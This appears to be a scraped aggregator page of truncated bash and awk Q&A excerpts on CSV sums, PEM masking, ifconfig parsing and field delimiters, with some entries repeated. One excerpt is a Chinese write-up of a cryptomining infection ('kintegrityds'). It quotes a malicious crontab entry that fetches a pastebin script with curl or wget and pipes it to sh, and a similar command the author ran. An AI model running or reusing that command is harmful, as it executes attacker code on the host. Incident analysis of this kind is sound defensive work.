awk

how can i mask the middle line of a pem key in bash script

陌路散爱 提交于 2020-01-24 15:04:05
问题 how can I mask the middle lines of a PEM key in bash script I need to echo my pem key with mask(*) the middle lines through a bash script for example:- -----BEGIN CERTIFICATE----- MIICyjCCAbICCQDrpZYh8et7yTANBgkqhkiG9w0BAQsFADAnMQswCQYDVQQGEwJV UzELMAkGA1UECAwCQ0ExCzAJBgNVBAcMAlNGMB4XDTE4MTExMjIwNDEwNVoXDTE4 MTIxMjIwNDEwNVowJzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMQswCQYDVQQH DAJTRjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJnIdgpml8+xk+Oj 1RGMCyJ1P15RiM6rdtszT

sed (or awk) to sum values in a csv file

无人久伴 提交于 2020-01-24 13:08:28
问题 I have a csv file where the lines look like this: foo,bar,baz,5,6,8 zab,rab,oof,2,2,3 I need a command to transform it summing the last 3 values: foo,bar,baz,19 zab,rab,oof,7 If possible I need a one liner. 回答1: Try this for fixed length : awk -F, '{print $1,$2,$3,$4+$5+$6}' OFS=, file And for not fixed length : awk -F, '{for(i=1;i<NF-2;i++)printf("%s,", $i)}{print $NF+$(NF-1)+$(NF-2)}' file sed is not the right tool for arithmetic. 回答2: perl -F, -lane '$a+=$_ for(@F[3..5]);print join ",",@F

sed (or awk) to sum values in a csv file

为君一笑 提交于 2020-01-24 13:08:07
问题 I have a csv file where the lines look like this: foo,bar,baz,5,6,8 zab,rab,oof,2,2,3 I need a command to transform it summing the last 3 values: foo,bar,baz,19 zab,rab,oof,7 If possible I need a one liner. 回答1: Try this for fixed length : awk -F, '{print $1,$2,$3,$4+$5+$6}' OFS=, file And for not fixed length : awk -F, '{for(i=1;i<NF-2;i++)printf("%s,", $i)}{print $NF+$(NF-1)+$(NF-2)}' file sed is not the right tool for arithmetic. 回答2: perl -F, -lane '$a+=$_ for(@F[3..5]);print join ",",@F

Bash script issue

谁说胖子不能爱 提交于 2020-01-24 10:37:10
问题 I can run this command fine, with the output I want: ifconfig eth0 | grep HWaddr | awk '{print $5}' However, when I set the command to a variable, and print the variable, I get an error: CASS_INTERNAL=`ifconfig eth0 | grep HWaddr | awk '{print \$5}'` $CASS_INTERNAL my internal xxx ip: command not found The weird thing - my internal IP actually shows up. How do I go about this without getting an error? It shouldn't matter, but I'm using the latest version of Ubuntu. 回答1: Well, you grep for

Bash script issue

不羁的心 提交于 2020-01-24 10:37:06
问题 I can run this command fine, with the output I want: ifconfig eth0 | grep HWaddr | awk '{print $5}' However, when I set the command to a variable, and print the variable, I get an error: CASS_INTERNAL=`ifconfig eth0 | grep HWaddr | awk '{print \$5}'` $CASS_INTERNAL my internal xxx ip: command not found The weird thing - my internal IP actually shows up. How do I go about this without getting an error? It shouldn't matter, but I'm using the latest version of Ubuntu. 回答1: Well, you grep for

awk array to output the line count as well as average

那年仲夏 提交于 2020-01-24 10:03:14
问题 Thanks to @karakfa the below awk array results in the output. I am trying to add $2 to the array and output that as well. $2 is basically the amount of times the unique entry appears. As I am leaaring awk arrays I do not know if my attempt is close. Input: chr1:955542-955763 AGRN:exon.1 1 0 chr1:955542-955763 AGRN:exon.1 2 0 chr1:985542-985763 AGRN:exon.2 1 0 chr1:985542-985763 AGRN:exon.2 2 1 My script: awk '{k=$1 OFS $2; l=$2; # Is this correct? s[k]+=$4; c[k]++} END{for(i in s) # Is this

How to separate fields with pipe character delimiter

社会主义新天地 提交于 2020-01-24 04:13:05
问题 I know this question has already been asked but no of the solution I've found worked for me! I have a program that has an output like this: COUNT|293|1|lps I'm interested in having the second field however no one of these tries worked: ./spawn 1 | cut -d '|' -f2 ./spawn 1 | cut -d \| -f2 ./spawn 1 | awk -F "|" '{print $2}' ./spawn 1 | awk 'BEGIN{FS="|"} {print $2}' ./spawn 1 | sed 's/|/;/g' ./spawn 1 | sed 's/\|/;/g' But the output is always the same: COUNT|293|1|lps Is there a bug somewhere

记一次生产主机中挖矿病毒\"kintegrityds\"处理过程!

时光毁灭记忆、已成空白 提交于 2020-01-23 20:44:03
【记一次生产挖矿病毒处理过程】: 可能性:webaap用户密码泄露、Jenkins/redis弱口令等。 1、监控到生产主机一直load告警 2、进服务器 top查看进程,发现挖矿病毒进程,此进程持续消耗cpu,kill掉还会自动启动。 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 10059 webapp 20 0 43612 9504 0 S 241.0 0.1 5:49.77 /tmp/kintegrityds 3、查看crontab -l */10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh 4、分析定时任务: 浏览器打开:https://pastebin.com/raw/wDBa7jCQ 得到: (curl -fsSL https://pastebin.com/raw/CBEphEbb||wget -q -O- https://pastebin.com/raw/CBEphEbb)|sed 's/\r//'|sh xshell执行: [webapp@vm_0_17_centos ~]$ (curl -fsSL https://pastebin.com

UBUNTU命令

蹲街弑〆低调 提交于 2020-01-23 13:28:03
本文来自互联网 查看软件xxx安装内容 dpkg -L xxx 查找软件库中的软件 apt-cache search 正则表达式 查找软件库中的软件 aptitude search 软件包 查找文件属于哪个包 dpkg -S filename 查找文件属于哪个包 apt-file search filename 查询软件xxx依赖哪些包 apt-cache depends xxx 查询软件xxx被哪些包依赖 apt-cache rdepends xxx 增加一个光盘源 sudo apt-cdrom add 系统升级 sudo apt-get update;sudo apt-get dist-upgrade 清除已删除包的残馀配置文件 dpkg -l |grep ^rc|awk ‘{print $2}’ |sudo xargs dpkg -P 编译时缺少h文件的自动处理 sudo auto-apt run ./configure 查看安装软件时下载包的临时存放目录 ls /var/cache/apt/archives 备份当前系统安装的所有包的列表 dpkg –get-selections | grep -v deinstall > ~/somefile 从备份的安装包的列表文件恢复所有包 dpkg –set-selections < ~/somefile;sudo dselect

Convert Text to Table (Space Delimited or Fixed length)

╄→尐↘猪︶ㄣ 提交于 2020-01-23 04:10:32
问题 I have a text file with tab delimited data (150 lines) that i want to convert to space delimited or fixed length columns. I have tried to export the file using Excel's .prn format but when opened in MS Notepad it loses all formatting. Let us consider the file as: Product Name Product Key Autodesk 3ds Max 2019 128K1 Autodesk 3ds Max 2019 with Softimage 978K1 Autodesk Advance Steel 2019 959K1 Autodesk Alias AutoStudio 2019 966K1 Autodesk Alias Concept 2019 A63K1 Autodesk Alias Design 2019 712K1